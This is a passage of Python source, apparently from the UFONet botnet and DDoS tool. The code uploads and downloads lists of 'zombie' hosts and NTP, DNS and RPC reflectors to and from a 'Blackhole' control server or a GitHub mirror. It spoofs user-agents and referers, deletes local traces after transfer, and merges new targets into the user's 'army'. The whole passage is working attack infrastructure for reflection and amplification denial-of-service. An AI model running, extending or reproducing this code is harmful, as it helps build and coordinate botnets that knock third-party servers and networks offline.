  1911. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1912. cs.connect(host, cport)
  1913. cs.send("SEND " + 'community_rpcs.txt.gz')
  1914. cs.close()
  1915. f = open('botnet/community_rpcs.txt.gz', "rb")
  1916. data = f.read()
  1917. f.close()
  1918. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1919. ms.connect(host, mport)
  1920. ms.send(data)
  1921. ms.close()
  1922. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1923. time.sleep(1)
  1924. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1925. cs.connect(host, cport)
  1926. cs.send("SEND " + 'community_ntps.txt.gz')
  1927. cs.close()
  1928. f = open('botnet/community_ntps.txt.gz', "rb")
  1929. data = f.read()
  1930. f.close()
  1931. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1932. ms.connect(host, mport)
  1933. ms.send(data)
  1934. ms.close()
  1935. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1936. time.sleep(1)
  1937. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1938. cs.connect(host, cport)
  1939. cs.send("SEND " + 'community_dnss.txt.gz')
  1940. cs.close()
  1941. f = open('botnet/community_dnss.txt.gz', "rb")
  1942. data = f.read()
  1943. f.close()
  1944. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1945. ms.connect(host, mport)
  1946. ms.send(data)
  1947. ms.close()
  1948. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1949. time.sleep(2) # sleep a bit more
  1950. print('-'*12 + '\n')
  1951. print("[Info] [AI] Transfer -> [DONE!]\n")
  1952. except Exception as e:
  1953. print(str(e) + "\n")
  1954. except:
  1955. print('-'*12 + '\n')
  1956. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1957. return
  1958. except:
  1959. print('-'*12 + '\n')
  1960. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1961. return
  1962. def update_gui_data(self):
  1963. # download all GUI stream data
  1964. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1965. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1966. if self.options.proxy: # set proxy
  1967. self.proxy_transport(self.options.proxy)
  1968. if self.options.timeout: # set timeout
  1969. try:
  1970. timeout = int(self.options.timeout)
  1971. except:
  1972. timeout = 5
  1973. else:
  1974. timeout = 5
  1975. if timeout < 1:
  1976. timeout = 5
  1977. if self.options.forcessl:
  1978. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1979. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1980. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1981. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1982. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1983. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1984. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1985. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1986. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1987. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1988. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  1989. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1990. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  1991. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1992. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  1993. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1994. else:
  1995. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1996. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1997. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1998. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1999. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2000. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2001. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2002. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2003. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2004. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2005. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2006. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2007. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2008. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2009. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2010. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2011. f = open(self.news_file, 'w')
  2012. f.write(news_reply)
  2013. f.close()
  2014. f = open(self.missions_file, 'w')
  2015. f.write(missions_reply)
  2016. f.close()
  2017. f = open(self.board_file, 'w')
  2018. f.write(board_reply)
  2019. f.close()
  2020. f = open(self.grid_file, 'w')
  2021. f.write(grid_reply)
  2022. f.close()
  2023. f = open(self.wargames_file, 'w')
  2024. f.write(wargames_reply)
  2025. f.close()
  2026. f = open(self.links_file, 'w')
  2027. f.write(links_reply)
  2028. f.close()
  2029. f = open(self.streams_file, 'w')
  2030. f.write(streams_reply)
  2031. f.close()
  2032. f = open(self.globalnet_file, 'w')
  2033. f.write(globalnet_reply)
  2034. f.close()
  2035. print('-'*25 + "\n")
  2036. print("[Info] [AI] GUI data correctly updated:\n")
  2037. if news_reply:
  2038. print("[Info] [AI] [News] : OK!")
  2039. if missions_reply:
  2040. print("[Info] [AI] [Missions] : OK!")
  2041. if board_reply:
  2042. print("[Info] [AI] [Board] : OK!")
  2043. if grid_reply:
  2044. print("[Info] [AI] [Grid] : OK!")
  2045. if wargames_reply:
  2046. print("[Info] [AI] [Wargames] : OK!")
  2047. if links_reply:
  2048. print("[Info] [AI] [Links] : OK!")
  2049. if streams_reply:
  2050. print("[Info] [AI] [Streams] : OK!")
  2051. if globalnet_reply:
  2052. print("[Info] [AI] [GlobalNet]: OK!")
  2053. print('-'*25)
  2054. print("\n[AI] "+self.exit_msg+"\n")
  2055. def downloading_list(self):
  2056. # add your mirror to protect/share/distribute... [Zombies]
  2057. try:
  2058. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2059. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2060. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2061. if self.options.timeout: # set timeout
  2062. try:
  2063. timeout = int(self.options.timeout)
  2064. except:
  2065. timeout = 5
  2066. else:
  2067. timeout = 5
  2068. if timeout < 1:
  2069. timeout = 5
  2070. if self.options.proxy: # set proxy
  2071. self.proxy_transport(self.options.proxy)
  2072. if self.options.forcessl:
  2073. try:
  2074. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2075. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2076. except:
  2077. abductions_reply = ""
  2078. try:
  2079. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2080. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2081. except:
  2082. troops_reply = ""
  2083. try:
  2084. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2085. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2086. except:
  2087. robots_reply = ""
  2088. try:
  2089. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2090. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2091. except:
  2092. drones_reply = ""
  2093. try:
  2094. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2095. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2096. except:
  2097. reflectors_reply = ""
  2098. try:
  2099. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2100. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2101. except:
  2102. crystals_reply = ""
  2103. try:
  2104. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2105. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2106. except:
  2107. warps_reply = ""
  2108. else:
  2109. try:
  2110. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2111. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2112. except:
  2113. abductions_reply = ""
  2114. try:
  2115. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2116. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2117. except:
  2118. troops_reply = ""
  2119. try:
  2120. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2121. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2122. except:
  2123. robots_reply = ""
  2124. try:
  2125. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2126. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2127. except:
  2128. drones_reply = ""
  2129. try:
  2130. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2131. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2132. except:
  2133. reflectors_reply = ""
  2134. try:
  2135. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2136. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2137. except:
  2138. crystals_reply = ""
  2139. try:
  2140. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2141. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2142. except:
  2143. warps_reply = ""
  2144. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2145. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2146. print('-'*12 + '\n')
  2147. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2148. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2149. print('-'*12 + '\n')
  2150. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2151. return
  2152. f = open('botnet/abductions.txt.gz', 'wb')
  2153. f.write(abductions_reply)
  2154. f.close()
  2155. f = open('botnet/troops.txt.gz', 'wb')
  2156. f.write(troops_reply)
  2157. f.close()
  2158. f = open('botnet/robots.txt.gz', 'wb')
  2159. f.write(robots_reply)
  2160. f.close()
  2161. f = open('botnet/drones.txt.gz', 'wb')
  2162. f.write(drones_reply)
  2163. f.close()
  2164. f = open('botnet/reflectors.txt.gz', 'wb')
  2165. f.write(reflectors_reply)
  2166. f.close()
  2167. f = open('botnet/crystals.txt.gz', 'wb')
  2168. f.write(crystals_reply)
  2169. f.close()
  2170. f = open('botnet/warps.txt.gz', 'wb')
  2171. f.write(warps_reply)
  2172. f.close()
  2173. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2174. except:
  2175. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2176. print('-'*12 + '\n')
  2177. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2178. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2179. print('-'*12 + '\n')
  2180. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2181. return
  2182. print('-'*12 + '\n')
  2183. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2184. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2185. f_out_abductions.write(f_in_abductions.read())
  2186. f_in_abductions.close()
  2187. f_out_abductions.close()
  2188. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2189. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2190. f_out_troops = open('botnet/troops.txt', 'wb')
  2191. f_out_troops.write(f_in_troops.read())
  2192. f_in_troops.close()
  2193. f_out_troops.close()
  2194. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2195. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2196. f_out_robots = open('botnet/robots.txt', 'wb')
  2197. f_out_robots.write(f_in_robots.read())
  2198. f_in_robots.close()
  2199. f_out_robots.close()
  2200. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2201. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2202. f_out_drones = open('botnet/drones.txt', 'wb')
  2203. f_out_drones.write(f_in_drones.read())
  2204. f_in_drones.close()
  2205. f_out_drones.close()
  2206. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2207. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2208. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2209. f_out_reflectors.write(f_in_reflectors.read())
  2210. f_in_reflectors.close()
  2211. f_out_reflectors.close()
  2212. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2213. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2214. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2215. f_out_crystals.write(f_in_crystals.read())
  2216. f_in_crystals.close()
  2217. f_out_crystals.close()
  2218. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2219. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2220. f_out_warps = open('botnet/warps.txt', 'wb')
  2221. f_out_warps.write(f_in_warps.read())
  2222. f_in_warps.close()
  2223. f_out_warps.close()
  2224. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2225. num_abductions = 0
  2226. with open('botnet/abductions.txt') as f:
  2227. for _ in f:
  2228. num_abductions = num_abductions + 1
  2229. print("[Info] Zombies: " + str(num_abductions))
  2230. num_robots = 0
  2231. with open('botnet/robots.txt') as f:
  2232. for _ in f:
  2233. num_robots = num_robots + 1
  2234. print("[Info] Droids : " + str(num_robots))
  2235. num_troops = 0
  2236. with open('botnet/troops.txt') as f:
  2237. for _ in f:
  2238. num_troops = num_troops + 1
  2239. print("[Info] Aliens : " + str(num_troops))
  2240. num_drones = 0
  2241. with open('botnet/drones.txt') as f:
  2242. for _ in f:
  2243. num_drones = num_drones + 1
  2244. print("[Info] UCAVs : " + str(num_drones))
  2245. num_reflectors = 0
  2246. with open('botnet/reflectors.txt') as f:
  2247. for _ in f:
  2248. num_reflectors = num_reflectors + 1
  2249. print("[Info] X-RPCs : " + str(num_reflectors))
  2250. num_crystals = 0
  2251. with open('botnet/crystals.txt') as f:
  2252. for _ in f:
  2253. num_crystals = num_crystals + 1
  2254. print("[Info] DNSs : " + str(num_crystals))
  2255. num_warps = 0
  2256. with open('botnet/warps.txt') as f:
  2257. for _ in f:
  2258. num_warps = num_warps + 1
  2259. print("[Info] NTPs : " + str(num_warps))
  2260. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2261. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2262. print('-'*12)
  2263. if not self.options.forceyes:
  2264. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2265. print('-'*25)
  2266. else:
  2267. update_reply = "Y"
  2268. if update_reply == "n" or update_reply == "N":
  2269. os.remove('botnet/abductions.txt') # remove abductions file
  2270. os.remove('botnet/troops.txt') # remove troops file
  2271. os.remove('botnet/robots.txt') # remove robots file
  2272. os.remove('botnet/drones.txt') # remove drones file
  2273. os.remove('botnet/reflectors.txt') # remove reflectors file
  2274. os.remove('botnet/crystals.txt') # remove crystals file
  2275. os.remove('botnet/warps.txt') # remove warps file
  2276. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2277. print('-'*25)
  2278. print("\n[AI] "+self.exit_msg+"\n")
  2279. else:
  2280. zombies_ready = []
  2281. f = open('botnet/abductions.txt')
  2282. abductions = f.readlines()
  2283. f.close()
  2284. fz = open(self.zombies_file)
  2285. zombies = fz.readlines()
  2286. fz.close()
  2287. for abduction in abductions:
  2288. abduction = abduction.replace('\n','')
  2289. if abduction not in zombies:
  2290. zombies_ready.append(abduction)
  2291. else:
  2292. pass
  2293. self.update_zombies(zombies_ready)
  2294. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2295. aliens_ready = []
  2296. f = open('botnet/troops.txt')
  2297. troops = f.readlines()
  2298. f.close()
  2299. fz = open(self.aliens_file)
  2300. aliens = fz.readlines()
  2301. fz.close()
  2302. for alien in troops:
  2303. alien = alien.replace('\n','')
  2304. if alien not in aliens:
  2305. aliens_ready.append(alien)
  2306. else:
  2307. pass
  2308. self.update_aliens(aliens_ready)
  2309. os.remove('botnet/troops.txt') # remove troops .txt file
  2310. droids_ready = []
  2311. f = open('botnet/robots.txt')
  2312. robots = f.readlines()
  2313. f.close()
  2314. fz = open(self.droids_file)
  2315. droids = fz.readlines()
  2316. fz.close()
  2317. for droid in robots:
  2318. droid = droid.replace('\n','')
  2319. if droid not in droids:
  2320. droids_ready.append(droid)
  2321. else:
  2322. pass
  2323. self.update_droids(droids_ready)
  2324. os.remove('botnet/robots.txt') # remove robots .txt file
  2325. ucavs_ready = []
  2326. f = open('botnet/drones.txt')
  2327. drones = f.readlines()
  2328. f.close()
  2329. fz = open(self.ucavs_file)
  2330. ucavs = fz.readlines()
  2331. fz.close()
  2332. for drone in drones:
  2333. drone = drone.replace('\n','')
  2334. if drone not in ucavs:
  2335. ucavs_ready.append(drone)
  2336. else:
  2337. pass
  2338. self.update_ucavs(ucavs_ready)
  2339. os.remove('botnet/drones.txt') # remove drones .txt file
  2340. rpcs_ready = []
  2341. f = open('botnet/reflectors.txt')
  2342. reflectors = f.readlines()
  2343. f.close()
  2344. fz = open(self.rpcs_file)
  2345. rpcs = fz.readlines()
  2346. fz.close()
  2347. for reflector in reflectors:
  2348. reflector = reflector.replace('\n','')
  2349. if reflector not in rpcs:
  2350. rpcs_ready.append(reflector)
  2351. else:
  2352. pass
  2353. self.update_rpcs(rpcs_ready)
  2354. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2355. dnss_ready = []
  2356. f = open('botnet/crystals.txt')
  2357. crystals = f.readlines()
  2358. f.close()
  2359. fz = open(self.dnss_file)
  2360. dnss = fz.readlines()
  2361. fz.close()
  2362. for crystal in crystals:
  2363. crystal = crystal.replace('\n','')
  2364. if crystal not in dnss:
  2365. dnss_ready.append(crystal)
  2366. else:
  2367. pass
  2368. self.update_dnss(dnss_ready)
  2369. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2370. ntps_ready = []
  2371. f = open('botnet/warps.txt')
  2372. warps = f.readlines()
  2373. f.close()
  2374. fz = open(self.ntps_file)
  2375. ntps = fz.readlines()
  2376. fz.close()
  2377. for warp in warps:
  2378. warp = warp.replace('\n','')
  2379. if warp not in ntps:
  2380. ntps_ready.append(warp)
  2381. else:
  2382. pass
  2383. self.update_ntps(ntps_ready)
  2384. os.remove('botnet/warps.txt') # remove warps .txt file
  2385. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2386. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2387. if not self.options.forceyes: # ask for update everything
  2388. print('-'*25 + "\n")
  2389. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2390. else:
  2391. update_reply = "Y"
  2392. if update_reply == "n" or update_reply == "N":
  2393. print("\n[AI] "+self.exit_msg+"\n")
  2394. return
  2395. else:
  2396. try:
  2397. update_gui = self.update_gui_data() # update GUI data
  2398. except:
  2399. print('-'*25 +"\n")
  2400. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2401. print('-'*25)
  2402. print("\n[AI] "+self.exit_msg+"\n")
  2403. return
  2404. def downloading_github_list(self):
  2405. # add your mirror to protect/share/distribute... [Zombies]
  2406. try:
  2407. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2408. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2409. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2410. if self.options.timeout: # set timeout
  2411. try:
  2412. timeout = int(self.options.timeout)
  2413. except:
  2414. timeout = 5
  2415. else:
  2416. timeout = 5
  2417. if timeout < 1:
  2418. timeout = 5
  2419. if self.options.proxy: # set proxy
  2420. self.proxy_transport(self.options.proxy)
  2421. try:
  2422. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2423. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2424. except:
  2425. zombies_reply = ""
  2426. try:
  2427. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2428. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2429. except:
  2430. aliens_reply = ""
  2431. try:
  2432. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2433. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2434. except:
  2435. dns_reply = ""
  2436. try:
  2437. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2438. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2439. except:
  2440. droids_reply = ""
  2441. try:
  2442. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2443. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2444. except:
  2445. rpcs_reply = ""
  2446. try:
  2447. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2448. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2449. except:
  2450. ucavs_reply = ""
  2451. try:
  2452. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2453. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2454. except:
  2455. ntp_reply = ""
  2456. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2457. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2458. print('-'*12 + '\n')
  2459. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2460. return
  2461. f = open('botnet/abductions.txt', 'w') # zombies
  2462. f.write(zombies_reply)
  2463. f.close()
  2464. f = open('botnet/troops.txt', 'w') # aliens
  2465. f.write(aliens_reply)
  2466. f.close()
  2467. f = open('botnet/crystals.txt', 'w') # dns
  2468. f.write(dns_reply)
  2469. f.close()
  2470. f = open('botnet/robots.txt', 'w') # droids
  2471. f.write(droids_reply)
  2472. f.close()
  2473. f = open('botnet/drones.txt', 'w') # ucavs
  2474. f.write(ucavs_reply)
  2475. f.close()
  2476. f = open('botnet/reflectors.txt', 'w') # rpcs
  2477. f.write(rpcs_reply)
  2478. f.close()
  2479. f = open('botnet/warps.txt', 'w') # ntp
  2480. f.write(ntp_reply)
  2481. f.close()
  2482. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2483. except:
  2484. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2485. print('-'*12 + '\n')
  2486. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2487. return
  2488. print('-'*12 + '\n')
  2489. num_abductions = 0
  2490. with open('botnet/abductions.txt') as f: # zombies
  2491. for _ in f:
  2492. num_abductions = num_abductions + 1
  2493. print("[Info] Zombies: " + str(num_abductions))
  2494. num_troops = 0
  2495. with open('botnet/troops.txt') as f: # aliens
  2496. for _ in f:
  2497. num_troops = num_troops + 1
  2498. print("[Info] Aliens : " + str(num_troops))
  2499. num_robots = 0
  2500. with open('botnet/robots.txt') as f: # droids
  2501. for _ in f:
  2502. num_robots = num_robots + 1
  2503. print("[Info] Droids : " + str(num_robots))
  2504. num_drones = 0
  2505. with open('botnet/drones.txt') as f: # ucavs
  2506. for _ in f:
  2507. num_drones = num_drones + 1
  2508. print("[Info] UCAVs : " + str(num_drones))
  2509. num_reflectors = 0
  2510. with open('botnet/reflectors.txt') as f: # rpcs
  2511. for _ in f:
  2512. num_reflectors = num_reflectors + 1
  2513. print("[Info] X-RPCs : " + str(num_reflectors))
  2514. num_crystals = 0
  2515. with open('botnet/crystals.txt') as f: # dns
  2516. for _ in f:
  2517. num_crystals = num_crystals + 1
  2518. print("[Info] DNSs : " + str(num_crystals))
  2519. num_warps = 0
  2520. with open('botnet/warps.txt') as f: # ntp
  2521. for _ in f:
  2522. num_warps = num_warps + 1
  2523. print("[Info] NTPs : " + str(num_warps))
  2524. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2525. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2526. print('-'*12)
  2527. if not self.options.forceyes:
  2528. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2529. print('-'*25)
  2530. else:
  2531. update_reply = "Y"
  2532. if update_reply == "n" or update_reply == "N":
  2533. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2534. os.remove('botnet/troops.txt') # remove aliens/troops file
  2535. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2536. os.remove('botnet/robots.txt') # remove droids/robots file
  2537. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2538. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2539. os.remove('botnet/warps.txt') # remove ntp/warps file
  2540. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2541. print('-'*25)
  2542. print("\n[AI] "+self.exit_msg+"\n")
  2543. else:
  2544. zombies_ready = []
  2545. f = open('botnet/abductions.txt')
  2546. abductions = f.readlines()
  2547. f.close()
  2548. fz = open(self.zombies_file)
  2549. zombies = fz.readlines()
  2550. fz.close()
  2551. for abduction in abductions:
  2552. abduction = abduction.replace('\n','')
  2553. if abduction not in zombies:
  2554. zombies_ready.append(abduction)
  2555. else:
  2556. pass
  2557. self.update_zombies(zombies_ready)
  2558. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2559. aliens_ready = []
  2560. f = open('botnet/troops.txt')
  2561. troops = f.readlines()
  2562. f.close()
  2563. fz = open(self.aliens_file)
  2564. aliens = fz.readlines()
  2565. fz.close()
  2566. for alien in troops:
  2567. alien = alien.replace('\n','')
  2568. if alien not in aliens:
  2569. aliens_ready.append(alien)
  2570. else:
  2571. pass
  2572. self.update_aliens(aliens_ready)
  2573. os.remove('botnet/troops.txt') # remove aliens/troops file
  2574. dnss_ready = []
  2575. f = open('botnet/crystals.txt')
  2576. crystals = f.readlines()
  2577. f.close()
  2578. fz = open(self.dnss_file)
  2579. dnss = fz.readlines()
  2580. fz.close()
  2581. for crystal in crystals:
  2582. crystal = crystal.replace('\n','')
  2583. if crystal not in dnss:
  2584. dnss_ready.append(crystal)
  2585. else:
  2586. pass
  2587. self.update_dnss(dnss_ready)
  2588. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2589. droids_ready = []
  2590. f = open('botnet/robots.txt')
  2591. robots = f.readlines()
  2592. f.close()
  2593. fz = open(self.droids_file)
  2594. droids = fz.readlines()
  2595. fz.close()
  2596. for droid in robots:
  2597. droid = droid.replace('\n','')
  2598. if droid not in droids:
  2599. droids_ready.append(droid)
  2600. else:
  2601. pass
  2602. self.update_droids(droids_ready)
  2603. os.remove('botnet/robots.txt') # remove droids/robots file
  2604. ucavs_ready = []
  2605. f = open('botnet/drones.txt')
  2606. drones = f.readlines()
  2607. f.close()
  2608. fz = open(self.ucavs_file)
  2609. ucavs = fz.readlines()
  2610. fz.close()
  2611. for drone in drones:
  2612. drone = drone.replace('\n','')
  2613. if drone not in ucavs:
  2614. ucavs_ready.append(drone)
  2615. else:
  2616. pass
  2617. self.update_ucavs(ucavs_ready)
